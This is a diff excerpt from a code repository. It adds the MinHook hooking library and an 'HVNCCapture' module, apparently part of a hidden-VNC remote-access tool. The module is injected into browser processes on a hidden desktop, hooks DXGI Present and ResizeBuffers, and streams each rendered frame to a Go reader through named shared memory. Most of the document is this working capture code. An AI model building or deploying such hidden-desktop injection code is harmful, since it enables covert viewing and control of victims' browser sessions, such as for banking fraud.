|| (hs.opcode2 & 0xF0) == 0x80)
{
// Direct relative Jcc
ULONG_PTR dest = pOldInst + hs.len;
if ((hs.opcode & 0xF0) == 0x70 // Jcc
|| (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else if ((hs.opcode & 0xFC) == 0xE0)
{
// LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
return FALSE;
}
else
{
UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
#if defined(_M_X64) || defined(__x86_64__)
// Invert the condition in x64 mode to simplify the conditional jump logic.
jcc.opcode = 0x71 ^ cond;
jcc.address = dest;
#else
jcc.opcode1 = 0x80 | cond;
jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
#endif
pCopySrc = &jcc;
copySize = sizeof(jcc);
}
}
else if ((hs.opcode & 0xFE) == 0xC2)
{
// RET (C2 or C3)
// Complete the function if not in a branch.
finished = (pOldInst >= jmpDest);
}
// Can't alter the instruction length in a branch.
if (pOldInst < jmpDest && copySize != hs.len)
return FALSE;
// Trampoline function is too large.
if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
return FALSE;
// Trampoline function has too many instructions.
if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
return FALSE;
ct->oldIPs[ct->nIP] = oldPos;
ct->newIPs[ct->nIP] = newPos;
ct->nIP++;
// Avoid using memcpy to reduce the footprint.
#ifndef ALLOW_INTRINSICS
memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
#else
__movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
#endif
newPos += copySize;
oldPos += hs.len;
} while (!finished);
// Is there enough place for a long jump?
if (oldPos < sizeof(JMP_REL)
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
{
// Is there enough place for a short jump?
if (oldPos < sizeof(JMP_REL_SHORT)
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
{
return FALSE;
}
// Can we place the long jump above the function?
if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
return FALSE;
if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
return FALSE;
ct->patchAbove = TRUE;
}
#if defined(_M_X64) || defined(__x86_64__)
// Create a relay function.
jmp.address = (ULONG_PTR)ct->pDetour;
ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
memcpy(ct->pRelay, &jmp, sizeof(jmp));
#endif
return TRUE;
}
+105
View File
@@ -0,0 +1,105 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#pragma pack(push, 1)
// Structs for writing x86/x64 instructions.
// 8-bit relative jump.
typedef struct _JMP_REL_SHORT
{
UINT8 opcode; // EB xx: JMP +2+xx
INT8 operand; // Relative destination address
} JMP_REL_SHORT, *PJMP_REL_SHORT;
// 32-bit direct relative jump/call.
typedef struct _JMP_REL
{
UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
INT32 operand; // Relative destination address
} JMP_REL, *PJMP_REL, CALL_REL;
// 64-bit indirect absolute jump.
typedef struct _JMP_ABS
{
UINT8 opcode0; // FF25 00000000: JMP [+6]
UINT8 opcode1;
UINT32 dummy;
UINT64 address; // Absolute destination address
} JMP_ABS, *PJMP_ABS;
// 64-bit indirect absolute call.
typedef struct _CALL_ABS
{
UINT8 opcode0; // FF15 00000002: CALL [+6]
UINT8 opcode1;
UINT32 dummy0;
UINT8 dummy1; // EB 08: JMP +10
UINT8 dummy2;
UINT64 address; // Absolute destination address
} CALL_ABS;
// 32-bit direct relative conditional jumps.
typedef struct _JCC_REL
{
UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
UINT8 opcode1;
INT32 operand; // Relative destination address
} JCC_REL;
// 64bit indirect absolute conditional jumps that x64 lacks.
typedef struct _JCC_ABS
{
UINT8 opcode; // 7* 0E: J** +16
UINT8 dummy0;
UINT8 dummy1; // FF25 00000000: JMP [+6]
UINT8 dummy2;
UINT32 dummy3;
UINT64 address; // Absolute destination address
} JCC_ABS;
#pragma pack(pop)
typedef struct _TRAMPOLINE
{
LPVOID pTarget; // [In] Address of the target function.
LPVOID pDetour; // [In] Address of the detour function.
LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
#if defined(_M_X64) || defined(__x86_64__)
LPVOID pRelay; // [Out] Address of the relay function.
#endif
BOOL patchAbove; // [Out] Should use the hot patch area?
UINT nIP; // [Out] Number of the instruction boundaries.
UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
} TRAMPOLINE, *PTRAMPOLINE;
BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
+630
View File
@@ -0,0 +1,630 @@
//===============================================================================================//
// HVNCCapture — DXGI SwapChain::Present hook implementation.
//
// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
//
// Strategy:
// 1. Create a temporary D3D11 device + swapchain to get the vtable address
// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
// 2. Hook both via MinHook.
// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
// Map it, and write the BGRA pixels into the shared memory section.
// 4. Signal the named event so the Go reader knows a frame is ready.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <d3d11.h>
#include <dxgi1_2.h>
#include <stdio.h>
#include <string.h>
#include "MinHook.h"
#include "DXGICapture.h"
#ifdef __cplusplus
extern "C" {
#endif
//-----------------------------------------------------------------------------------------------//
// Forward declarations
//-----------------------------------------------------------------------------------------------//
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
//-----------------------------------------------------------------------------------------------//
// Globals
//-----------------------------------------------------------------------------------------------//
static PFN_Present g_OrigPresent = NULL;
static PFN_Present1 g_OrigPresent1 = NULL;
static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
// Staging resources — double-buffered to avoid blocking Map calls
static ID3D11Device* g_Device = NULL;
static ID3D11DeviceContext* g_Context = NULL;
static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
static UINT g_StagingW = 0;
static UINT g_StagingH = 0;
static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
static UINT g_WriteIdx = 0; // CopyResource target index
static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
// Shared memory
static HANDLE g_ShmHandle = NULL;
static void* g_ShmView = NULL;
static SIZE_T g_ShmSize = 0;
static HANDLE g_FrameEvent = NULL;
static UINT64 g_FrameSeq = 0;
// Frequency for timestamps
static LARGE_INTEGER g_PerfFreq;
// Rate limiting — don't copy more than ~60 fps worth of frames
static LARGE_INTEGER g_LastFrameTime;
static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
// Critical section for thread safety
static CRITICAL_SECTION g_Lock;
static BOOL g_LockInitialized = FALSE;
// Primary swap chain tracking — only capture the largest one in the GPU process
static IDXGISwapChain* g_PrimarySwapChain = NULL;
static UINT g_PrimaryArea = 0;
static UINT g_PrimaryResetCounter = 0;
// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
#define MIN_CAPTURE_WIDTH 128
#define MIN_CAPTURE_HEIGHT 128
#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
//-----------------------------------------------------------------------------------------------//
// Helpers
//-----------------------------------------------------------------------------------------------//
#ifndef ENABLE_DEBUG_LOGGING
#define ENABLE_DEBUG_LOGGING 1
#endif
static void DebugLog(const char* fmt, ...) {
#if ENABLE_DEBUG_LOGGING
char buf[1024];
va_list args;
va_start(args, fmt);
vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
OutputDebugStringA(buf);
#else
(void)fmt;
#endif
}
static UINT64 GetTimestampNs(void) {
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
}
static void BuildShmName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
}
static void BuildEventName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
}
//-----------------------------------------------------------------------------------------------//
// Shared memory management
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureSharedMemory(UINT width, UINT height) {
UINT stride = width * 4;
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
if (g_ShmView && g_ShmSize >= needed) {
return TRUE;
}
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
g_ShmSize = 0;
char shmName[128];
BuildShmName(shmName, sizeof(shmName));
wchar_t wShmName[128];
MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
DWORD sizeHigh = (DWORD)(needed >> 32);
DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
if (!g_ShmHandle) {
DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError());
return FALSE;
}
g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
if (!g_ShmView) {
DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError());
CloseHandle(g_ShmHandle);
g_ShmHandle = NULL;
return FALSE;
}
g_ShmSize = needed;
if (!g_FrameEvent) {
char evtName[128];
BuildEventName(evtName, sizeof(evtName));
wchar_t wEvtName[128];
MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
}
DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
return TRUE;
}
//-----------------------------------------------------------------------------------------------//
// Staging texture management (double-buffered)
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
return TRUE;
}
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
g_HasPrevFrame = FALSE;
g_WriteIdx = 0;
// Normalise typeless formats to their UNORM equivalents for staging
DXGI_FORMAT stageFmt = fmt;
switch (fmt) {
case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
default: break;
}
D3D11_TEXTURE2D_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.Width = width;
desc.Height = height;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = stageFmt;
desc.SampleDesc.Count = 1;
desc.SampleDesc.Quality = 0;
desc.Usage = D3D11_USAGE_STAGING;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
desc.BindFlags = 0;
desc.MiscFlags = 0;
HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
if (FAILED(hr)) {
DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
return FALSE;
}
hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
if (FAILED(hr)) {
DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
g_Staging[0]->Release(); g_Staging[0] = NULL;
return FALSE;
}
g_StagingW = width;
g_StagingH = height;
g_StagingFmt = fmt;
DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
return TRUE;
}
// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
switch (fmt) {
case DXGI_FORMAT_B8G8R8A8_UNORM:
case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
case DXGI_FORMAT_B8G8R8A8_TYPELESS:
case DXGI_FORMAT_R8G8B8A8_UNORM:
case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
case DXGI_FORMAT_R8G8B8A8_TYPELESS:
return TRUE;
default:
return FALSE;
}
}
//-----------------------------------------------------------------------------------------------//
// Core frame capture — called from Present hooks (SEH-protected)
//-----------------------------------------------------------------------------------------------//
static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
// Rate limit
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
if (elapsedUs < g_MinFrameIntervalUs) {
return;
}
g_LastFrameTime = now;
// Get the backbuffer
ID3D11Texture2D* backbuffer = NULL;
HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
if (FAILED(hr) || !backbuffer) {
return;
}
// Get device/context from the backbuffer if not cached
if (!g_Device) {
((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
if (g_Device) {
g_Device->GetImmediateContext(&g_Context);
}
}
if (!g_Device || !g_Context) {
backbuffer->Release();
return;
}
D3D11_TEXTURE2D_DESC bbDesc;
backbuffer->GetDesc(&bbDesc);
UINT w = bbDesc.Width;
UINT h = bbDesc.Height;
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
backbuffer->Release();
return;
}
// Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
backbuffer->Release();
return;
}
// Track the primary (largest) swap chain — Chrome GPU process serves many
UINT area = w * h;
g_PrimaryResetCounter++;
if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
g_PrimarySwapChain = NULL;
g_PrimaryArea = 0;
g_PrimaryResetCounter = 0;
}
if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
g_PrimarySwapChain = pSwapChain;
if (area > g_PrimaryArea) g_PrimaryArea = area;
} else if (area > g_PrimaryArea) {
g_PrimarySwapChain = pSwapChain;
g_PrimaryArea = area;
} else {
backbuffer->Release();
return;
}
// Only capture 32bpp BGRA/RGBA formats we can handle
if (!IsCopyable32bpp(bbDesc.Format)) {
backbuffer->Release();
return;
}
if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
backbuffer->Release();
return;
}
if (!EnsureSharedMemory(w, h)) {
backbuffer->Release();
return;
}
UINT writeIdx = g_WriteIdx;
UINT readIdx = 1 - writeIdx;
// Copy backbuffer to the write staging texture (async GPU op, returns immediately)
if (bbDesc.SampleDesc.Count > 1) {
D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
resolveDesc.SampleDesc.Count = 1;
resolveDesc.SampleDesc.Quality = 0;
resolveDesc.Usage = D3D11_USAGE_DEFAULT;
resolveDesc.BindFlags = 0;
resolveDesc.CPUAccessFlags = 0;
resolveDesc.MiscFlags = 0;
ID3D11Texture2D* resolved = NULL;
hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
if (SUCCEEDED(hr) && resolved) {
g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
g_Context->CopyResource(g_Staging[writeIdx], resolved);
resolved->Release();
} else {
backbuffer->Release();
return;
}
} else {
g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
}
backbuffer->Release();
// Flip staging index for next frame
g_WriteIdx = readIdx;
// On first frame, nothing to read yet
if (!g_HasPrevFrame) {
g_HasPrevFrame = TRUE;
return;
}
// Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
D3D11_MAPPED_SUBRESOURCE mapped;
hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
return; // GPU hasn't finished the previous copy — skip
}
if (FAILED(hr)) {
DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr);
return;
}
UINT dstStride = w * 4;
UINT srcPitch = mapped.RowPitch;
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
BYTE* src = (BYTE*)mapped.pData;
for (UINT y = 0; y < h; y++) {
memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
}
g_Context->Unmap(g_Staging[readIdx], 0);
// Write header (AFTER pixel data + barrier so reader sees consistent data)
g_FrameSeq++;
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
hdr->magic = HVNC_FRAME_MAGIC;
hdr->version = HVNC_FRAME_VERSION;
hdr->width = w;
hdr->height = h;
hdr->stride = dstStride;
hdr->format = (UINT32)bbDesc.Format;
hdr->frameSeq = g_FrameSeq;
hdr->timestampNs = GetTimestampNs();
hdr->pid = GetCurrentProcessId();
hdr->reserved = 0;
MemoryBarrier();
if (g_FrameEvent) {
SetEvent(g_FrameEvent);
}
}
static void CaptureFrame(IDXGISwapChain* pSwapChain) {
if (!g_LockInitialized) return;
if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock
__try {
CaptureFrameInner(pSwapChain);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DebugLog("[HVNCCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n",
GetExceptionCode());
}
LeaveCriticalSection(&g_Lock);
}
//-----------------------------------------------------------------------------------------------//
// Hooked functions
//-----------------------------------------------------------------------------------------------//
static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) {
CaptureFrame(pSwapChain);
return g_OrigPresent(pSwapChain, SyncInterval, Flags);
}
static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) {
CaptureFrame((IDXGISwapChain*)pSwapChain);
return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters);
}
static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) {
EnterCriticalSection(&g_Lock);
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN;
g_HasPrevFrame = FALSE; g_WriteIdx = 0;
g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0;
if (g_Context) { g_Context->Release(); g_Context = NULL; }
if (g_Device) { g_Device->Release(); g_Device = NULL; }
LeaveCriticalSection(&g_Lock);
return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags);
}
//-----------------------------------------------------------------------------------------------//
// vtable discovery — create a dummy swapchain to get Present address
//-----------------------------------------------------------------------------------------------//
static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) {
*ppPresent = NULL;
*ppPresent1 = NULL;
*ppResizeBuffers = NULL;
HMODULE hD3D11 = GetModuleHandleA("d3d11.dll");
if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll");
if (!hD3D11) {
DebugLog("[HVNCCapture] d3d11.dll not available\n");
return FALSE;
}
typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)(
IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*,
UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**,
D3D_FEATURE_LEVEL*, ID3D11DeviceContext**);
PFN_D3D11CreateDeviceAndSwapChain pCreate =
(PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain");
if (!pCreate) {
DebugLog("[HVNCCapture] D3D11CreateDeviceAndSwapChain not found\n");
return FALSE;
}
HWND hWnd = GetDesktopWindow();
DXGI_SWAP_CHAIN_DESC scd;
ZeroMemory(&scd, sizeof(scd));
scd.BufferCount = 1;
scd.BufferDesc.Width = 2;
scd.BufferDesc.Height = 2;
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
scd.BufferDesc.RefreshRate.Numerator = 60;
scd.BufferDesc.RefreshRate.Denominator = 1;
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
scd.OutputWindow = hWnd;
scd.SampleDesc.Count = 1;
scd.Windowed = TRUE;
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
IDXGISwapChain* pSwapChain = NULL;
ID3D11Device* pDevice = NULL;
ID3D11DeviceContext* pCtx = NULL;
D3D_FEATURE_LEVEL featureLevel;
HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
if (FAILED(hr) || !pSwapChain) {
hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
}
if (FAILED(hr) || !pSwapChain) {
DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
if (pCtx) pCtx->Release();
if (pDevice) pDevice->Release();
if (pSwapChain) pSwapChain->Release();
return FALSE;
}
// Extract vtable pointers via raw vtable read
// IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
void** vtable = *(void***)pSwapChain;
*ppPresent = vtable[8];
*ppResizeBuffers = vtable[13];
// Try to get Present1 from IDXGISwapChain1
IDXGISwapChain1* pSwapChain1 = NULL;
hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
if (SUCCEEDED(hr) && pSwapChain1) {
void** vtable1 = *(void***)pSwapChain1;
// IDXGISwapChain1: Present1 is at vtable index 22
*ppPresent1 = vtable1[22];
pSwapChain1->Release();
}
pCtx->Release();
pDevice->Release();
pSwapChain->Release();
DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
*ppPresent, *ppPresent1, *ppResizeBuffers);
return TRUE;
}
//-----------------------------------------------------------------------------------------------//
// Public API
//-----------------------------------------------------------------------------------------------//
void InstallDXGICapture(void) {
QueryPerformanceFrequency(&g_PerfFreq);
QueryPerformanceCounter(&g_LastFrameTime);
InitializeCriticalSection(&g_Lock);
g_LockInitialized = TRUE;
MH_STATUS status = MH_Initialize();
if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status);
return;
}
void* pPresent = NULL;
void* pPresent1 = NULL;
void* pResizeBuffers = NULL;
if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n");
return;
}
if (pPresent) {
status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
if (status == MH_OK) {
MH_EnableHook(pPresent);
DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent);
} else {
DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status);
}
}
if (pPresent1) {
status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
if (status == MH_OK) {
MH_EnableHook(pPresent1);
DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1);
} else {
DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status);
}
}
if (pResizeBuffers) {
status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
if (status == MH_OK) {
MH_EnableHook(pResizeBuffers);
DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
} else {
DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
}
}
DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
}
void RemoveDXGICapture(void) {
if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
MH_Uninitialize();
if (g_LockInitialized) {
EnterCriticalSection(&g_Lock);
}
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
if (g_Context) { g_Context->Release(); g_Context = NULL; }
if (g_Device) { g_Device->Release(); g_Device = NULL; }
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
if (g_LockInitialized) {
LeaveCriticalSection(&g_Lock);
DeleteCriticalSection(&g_Lock);
g_LockInitialized = FALSE;
}
DebugLog("[HVNCCapture] Cleaned up\n");
}
#ifdef __cplusplus
}
#endif
+61
View File
@@ -0,0 +1,61 @@
//===============================================================================================//
// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
//
// Injected into browser processes running on the hidden desktop. Hooks
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
// to a named shared-memory section so the Go capture thread can read them
// directly instead of using the slow PrintWindow API.
//
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
//
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
//===============================================================================================//
#ifndef _DXGI_CAPTURE_H
